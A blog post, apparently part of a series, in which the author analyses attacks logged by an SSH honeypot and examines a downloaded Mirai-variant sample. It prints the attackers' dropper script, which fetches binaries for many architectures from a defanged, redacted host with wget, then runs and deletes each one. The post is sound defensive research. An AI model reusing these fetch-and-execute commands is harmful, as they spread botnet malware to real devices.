If you've been following along thank you for joining me. For those of you just catching up, I recommend reading part one (for discussions on what a honeypot is) and part two (to see what I've built). For this third post I'll look at the logs from my honeypot, examining what my attackers did to my environment.
I put the honeypot live on the 4th August and it was being attacked within the hour. The last time I did similar research was with a Remote Desktop Protocol (RDP) Windows server for my Masters assignment - that took a day to be discovered. It's probably obvious, but the number of devices (and thus attackers) has certainly grown since I did that study about eight years ago.
Looking at the logs I we can see there are many attempts at running commands after the attacker (possibly an automated script) has logged in to honeypot. Handily Cowrie rotates the log files, giving me a new file each day, rather than overwriting them. As a result I had eleven log files to look through - I turned to
grep to look for the string "Executing command" and got many results. I'll look at some of these below.
For the first attack, interestingly, but not surprisingly, the attacker didn't attempt to determine which flavour of Linux was being used, instead attempting to install software by calling both
yum (for RedHat / CentOS) and
apt (Debian based Linuxes). Should one package manager fail (not found) then the next command would run automatically. An excerpt is shown below:
yum install wget -y; apt install wget -y
There was also no attempt to see if
wget was already installed - the attacker simply went to install
wget before attempting to use it as installing it again won't cause a problem.
wget is a handy tool for downloading files from the world wide web, and our attackers made a lot of use of
wget to get their malicious files.
Getting the attack files
By the time I went to study the attacks some of the attack files had been removed. It's quite likely the files were served from compromised third parties, who then cleared up.
[email protected]:~/attackerFiles/$ wget http://45.133.X.Y/x86_64 --2021-08-14 14:49:13-- http://45.133.X.Y/x86_64 Connecting to 45.133.X.Y:80... connected. HTTP request sent, awaiting response... 404 Not Found 2021-08-14 14:49:13 ERROR 404: Not Found.
Hitting a dead end with one attack (above) I looked at the commands executed by another. A script called
Gbotbins.sh was downloaded using
wget and I was able to get a copy, shown below. Note that I've redacted the IP and changed the protocol from HTTP to HXXP.
#!/bin/bash cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/MIPS; chmod +x MIPS; ./MIPS; rm -rf MIPS cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/MIPSEL; chmod +x MIPSEL; ./MIPSEL; rm -rf MIPSEL cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/SH4; chmod +x SH4; ./SH4; rm -rf SH4 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/X86_64; chmod +x X86_64; ./X86_64; rm -rf X86_64 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/ARMV6L; chmod +x ARMV6L; ./ARMV6L; rm -rf ARMV6L cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/I686; chmod +x I686; ./I686; rm -rf I686 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/POWERPC; chmod +x POWERPC; ./POWERPC; rm -rf POWERPC cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/I586; chmod +x I586; ./I586; rm -rf I586 cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/M68K; chmod +x M68K; ./M68K; rm -rf M68K cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/SPARC; chmod +x SPARC; ./SPARC; rm -rf SPARC cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/ARMV4L; chmod +x ARMV4L; ./ARMV4L; rm -rf ARMV4L cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://212.192.X.Y/ARMV5L; chmod +x ARMV5L; ./ARMV5L; rm -rf ARMV5L
Once again the attacker gets a file from a remote web server using
wget, and then makes it executable using
chmod +x. Once the file is downloaded and made executable the script tries to run the file ( e.g.
./MIPSEL) before deleting the file via
rm -rf. Unlike Windows, Linux doesn't have a concept of file locking so you can delete the file while it's running - moving the attack entirely into RAM (memory).
File names in that script relate to different processor architectures and the attacker doesn't need to be careful about which one they try to run (and makes no attempt to check). Trying to run an exectuable program that's compiled for a different architecture results in an error, after which the script simply moves on to the next one.
[email protected]:~/attackerFiles$ ./MIPSEL -bash: ./MIPSEL: cannot execute binary file: Exec format error
Running a tool called
strings against the malicious program shows all the human readable text in the file. This yields some interesting results. Some are clearly junk:
While others are of more interest:
- Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36
A user agent string, like your browser sends to web servers when connecting
A Linux shell
Seems to be a Mirai botnet variant - see Juniper's article for more info
- Scarface1337Self Rep Fucking NeTiS and Thisity 0n Ur FuCkInG FoReHeAd We BiG L33T HaxErS
Hexadecimal string that's likely evaluated by the malware (only a partial string here)
Running my executable sample through VirusTotal we can see 32 security vendors flagged the file as malicious with Mirai being mentioned a number of times.
Running the malware
I'm going to be throwing away this virtual machine so I decided to run the malware. After hitting enter I received a very strange response:
[email protected]:~/attackerFiles$ ./X86_64 gosh that chinese family at the other table sure ate alot
What's interesting is that the phrase "gosh that chinese family at the other table sure ate alot" isn't present in the
strings output, suggesting either the response came from a remote host or was generated by the malware programatically. Running the sample again gave the same result.
I took a network traffic capture, using
tcpdump, while running the malware and ended up with a 3.3GB capture file. That's a lot to process and may feature in a subsequent blog post, but I couldn't find "gosh" as a string in that capture either - not in plain text anyway. There's access to a server hosted by OVH but I've not dug into that too closely as yet.
I've got some more log files to look at, and there's definitely an attempt at installing a crypto currency miner, so my next post in this series will look at another attack against the honeypot. I hope you'll join me.